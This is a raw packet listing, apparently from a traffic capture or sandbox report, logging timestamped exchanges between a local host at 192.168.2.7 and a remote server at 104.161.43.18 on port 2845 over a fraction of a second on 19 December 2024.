Dec 19, 2024 13:45:17.006795883 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.006839991 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.007014990 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.007827044 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.007872105 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.007946014 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.007987976 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.008915901 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.009047985 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.009891987 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.009917974 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.009952068 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.009964943 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.010885000 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.011046886 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.011101007 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.011970043 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.012057066 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.012186050 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.013012886 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.013084888 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.013660908 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.014012098 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.014117956 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.014157057 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.015079021 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.015178919 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.015290976 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.016103029 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.016302109 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.017091990 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.017149925 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.017191887 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.017235041 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.018104076 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.018225908 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.018686056 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.019161940 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.019293070 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.020019054 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.020217896 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.020328999 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.020373106 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.021337986 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.021354914 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.021429062 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.022372007 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.022388935 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.022577047 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.023300886 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.023324966 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.023382902 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.024313927 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.024383068 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.024878979 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.025345087 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.025510073 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.025859118 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.026371956 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.026463032 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.026592016 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.027400017 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.027498960 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.027554035 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.028390884 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.028505087 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.028553963 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.029448986 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.029556036 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.029596090 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.030498028 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.030529022 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.030569077 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.031558990 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.031670094 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.031723022 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.032547951 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.032711983 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.032749891 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.033560038 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.073689938 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.171278954 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.171482086 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.171565056 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.171902895 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.172120094 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.172168016 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.172945976 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.173042059 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.173088074 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.174062967 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.174299002 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.174343109 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.174904108 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.175049067 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.175169945 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.175961018 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.176059008 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.176347017 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.176940918 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.177011967 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.177051067 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.178009987 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.178121090 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.178570032 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.178987980 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.179061890 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.179300070 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.180046082 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.180105925 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.180154085 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.181088924 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.181221008 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.181265116 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.182137012 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.182552099 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.182600021 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.183162928 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.183274984 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.183332920 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.184191942 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.184300900 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.184341908 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.185199976 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.185334921 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.185370922 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.186245918 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.186346054 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.186813116 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.187294960 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.187345982 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.187391996 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.188371897 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.188443899 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.188527107 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.189389944 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.189467907 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.189543962 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.190422058 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.190568924 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.190622091 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.191379070 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.191498995 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.191543102 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.192451954 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.192548037 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.192624092 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.193506956 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.193628073 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.194602966 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.194617987 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.194650888 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.195230007 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.195528030 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.195656061 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.195703030 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.196598053 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.196680069 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.196722984 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.197577953 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.197695017 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.197752953 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.198606014 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.198728085 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.198863029 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.199657917 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.199707031 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.199759960 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.200761080 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.200911045 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.201035976 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.201739073 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.201864958 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.201951981 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.202807903 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.202886105 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.203058958 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.203978062 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.204071045 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.204649925 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.205229998 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.205349922 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.205390930 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.206170082 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.206312895 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.206481934 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.207328081 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.207524061 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.207571030 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.208808899 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.208868980 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.208936930 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.209821939 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.209913969 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.209954023 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.210779905 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.210797071 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.210844040 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.212021112 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.212038040 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.212131023 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.212896109 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.213013887 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.213074923 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.213783026 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.213884115 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.214509010 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.217005014 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.217021942 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.217068911 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.217216969 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.217232943 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.217283964 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.217328072 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.217344046 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.217394114 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.218115091 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.218261003 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.218298912 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.219041109 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.219161987 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.219199896 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.219924927 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.219944000 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.219985962 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.220938921 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.220952988 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.220990896 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.221879005 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.221908092 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.221942902 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.222946882 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.222961903 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.223088026 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.224005938 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.224173069 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.224220037 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.224930048 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.225090981 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.225143909 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.225955009 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.275605917 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.363225937 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.363343954 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.363388062 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.363709927 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.363734007 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.363801956 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.364761114 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.364870071 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.364914894 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.365734100 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.365940094 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.366127014 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.366777897 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.366873980 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.366928101 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.367832899 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.367955923 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.368031979 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.368810892 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.368954897 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.369008064 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.369853020 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.369990110 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.370034933 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.370902061 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.371025085 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.371118069 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.371927023 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.372042894 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.372088909 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.372970104 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.373150110 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.373209000 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.374018908 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.374124050 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.374182940 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.375118971 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.375211954 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.375251055 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.376085997 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.376110077 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.376157999 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.377130032 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.377242088 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.377561092 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.378155947 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.378237963 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.378283024 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.379228115 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.379401922 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.379443884 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.380175114 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.380296946 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.380338907 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.381207943 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.381360054 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.381417990 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.382271051 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.382405996 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.382457018 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.383299112 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.383415937 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.383454084 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.384377956 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.384480953 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.384531021 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.385693073 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.385828018 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.385875940 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.387001991 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.387209892 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.387370110 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.388137102 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.388252020 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.388309956 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.389028072 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.389147043 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.389414072 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.389776945 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.389868975 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.389909029 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.390718937 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.390858889 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.390933990 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.391550064 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.391653061 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.391697884 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.392564058 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.392704010 CET	2845	49943	104.161.43.18	192.168.2.7
Dec 19, 2024 13:45:17.392751932 CET	49943	2845	192.168.2.7	104.161.43.18
Dec 19, 2024 13:45:17.393599987 CET	2845	49943	104.161.43.18	192.168.2.7
